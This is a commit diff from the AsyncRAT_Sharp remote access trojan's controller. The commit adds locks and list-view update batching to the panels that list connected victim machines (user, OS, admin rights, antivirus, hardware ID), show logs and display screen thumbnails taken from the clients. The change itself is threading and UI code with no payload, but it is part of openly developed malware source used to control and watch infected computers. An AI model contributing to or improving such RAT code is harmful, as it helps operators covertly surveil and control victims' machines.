Add lock to listview
This commit is contained in:
parent
e5da7a8d70
commit
60b3db86e4
@ -4,6 +4,7 @@ using AsyncRAT_Sharp.Sockets;
|
|||||||
using cGeoIp;
|
using cGeoIp;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Handle_Packet
|
namespace AsyncRAT_Sharp.Handle_Packet
|
||||||
{
|
{
|
||||||
@ -12,10 +13,10 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
public void AddToListview(Clients client, MsgPack unpack_msgpack)
|
public void AddToListview(Clients client, MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
if (Program.form1.listView1.InvokeRequired)
|
if (Program.form1.listView1.InvokeRequired)
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
{
|
||||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
try
|
||||||
{
|
{
|
||||||
client.LV = new ListViewItem();
|
client.LV = new ListViewItem();
|
||||||
client.LV.Tag = client;
|
client.LV.Tag = client;
|
||||||
@ -31,15 +32,20 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
|
||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
|
|
||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
|
||||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
|
||||||
|
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
|
||||||
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
|
||||||
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
|
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
|
||||||
|
|
||||||
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
||||||
|
|
||||||
|
lock (Settings.Listview1Lock)
|
||||||
|
{
|
||||||
|
Program.form1.listView1.BeginUpdate();
|
||||||
Program.form1.listView1.Items.Add(client.LV);
|
Program.form1.listView1.Items.Add(client.LV);
|
||||||
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
|
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
|
||||||
|
Program.form1.listView1.EndUpdate();
|
||||||
|
}
|
||||||
|
|
||||||
if (Properties.Settings.Default.Notification == true)
|
if (Properties.Settings.Default.Notification == true)
|
||||||
{
|
{
|
||||||
@ -47,16 +53,17 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}";
|
{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}";
|
||||||
Program.form1.notifyIcon1.ShowBalloonTip(100);
|
Program.form1.notifyIcon1.ShowBalloonTip(100);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
}));
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
lock (Settings.Online)
|
lock (Settings.Online)
|
||||||
{
|
{
|
||||||
Settings.Online.Add(client);
|
Settings.Online.Add(client);
|
||||||
}
|
}
|
||||||
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
|
||||||
}
|
}
|
||||||
catch { }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void Received(Clients client)
|
public void Received(Clients client)
|
||||||
{
|
{
|
||||||
@ -64,7 +71,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
lock (Settings.Listview1Lock)
|
||||||
|
if (client != null && client.LV != null)
|
||||||
client.LV.ForeColor = Color.Empty;
|
client.LV.ForeColor = Color.Empty;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -22,7 +22,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
LV.Text = DateTime.Now.ToLongTimeString();
|
LV.Text = DateTime.Now.ToLongTimeString();
|
||||||
LV.SubItems.Add(Msg);
|
LV.SubItems.Add(Msg);
|
||||||
LV.ForeColor = color;
|
LV.ForeColor = color;
|
||||||
|
lock (Settings.Listview2Lock)
|
||||||
|
{
|
||||||
|
Program.form1.listView2.BeginUpdate();
|
||||||
Program.form1.listView2.Items.Insert(0, LV);
|
Program.form1.listView2.Items.Insert(0, LV);
|
||||||
|
Program.form1.listView2.EndUpdate();
|
||||||
|
}
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
|
@ -11,19 +11,17 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
if (Program.form1.listView1.InvokeRequired)
|
if (Program.form1.listView1.InvokeRequired)
|
||||||
{
|
{
|
||||||
Program.form1.listView1.Invoke((MethodInvoker)(() =>
|
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
|
||||||
|
lock (Settings.Listview1Lock)
|
||||||
if (client.LV != null)
|
if (client.LV != null)
|
||||||
{
|
|
||||||
client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
|
client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
|
||||||
}
|
|
||||||
else
|
else
|
||||||
{
|
|
||||||
Debug.WriteLine("Temp socket pinged server");
|
Debug.WriteLine("Temp socket pinged server");
|
||||||
}
|
}
|
||||||
}
|
|
||||||
catch { }
|
catch { }
|
||||||
}));
|
}));
|
||||||
}
|
}
|
||||||
|
@ -17,7 +17,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
|
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
if (client.LV2 == null)
|
if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started")
|
||||||
{
|
{
|
||||||
client.LV2 = new ListViewItem();
|
client.LV2 = new ListViewItem();
|
||||||
client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
|
client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
|
||||||
@ -26,15 +26,25 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
|||||||
{
|
{
|
||||||
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
||||||
client.LV2.ImageKey = client.ID;
|
client.LV2.ImageKey = client.ID;
|
||||||
|
lock (Settings.Listview3Lock)
|
||||||
|
{
|
||||||
|
Program.form1.listView3.BeginUpdate();
|
||||||
Program.form1.listView3.Items.Add(client.LV2);
|
Program.form1.listView3.Items.Add(client.LV2);
|
||||||
|
Program.form1.listView3.EndUpdate();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
|
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
|
||||||
{
|
{
|
||||||
|
lock (Settings.Listview3Lock)
|
||||||
|
{
|
||||||
|
Program.form1.listView3.BeginUpdate();
|
||||||
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
|
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
|
||||||
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
||||||
|
Program.form1.listView3.EndUpdate();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
|
Loading…
x
Reference in New Issue
Block a user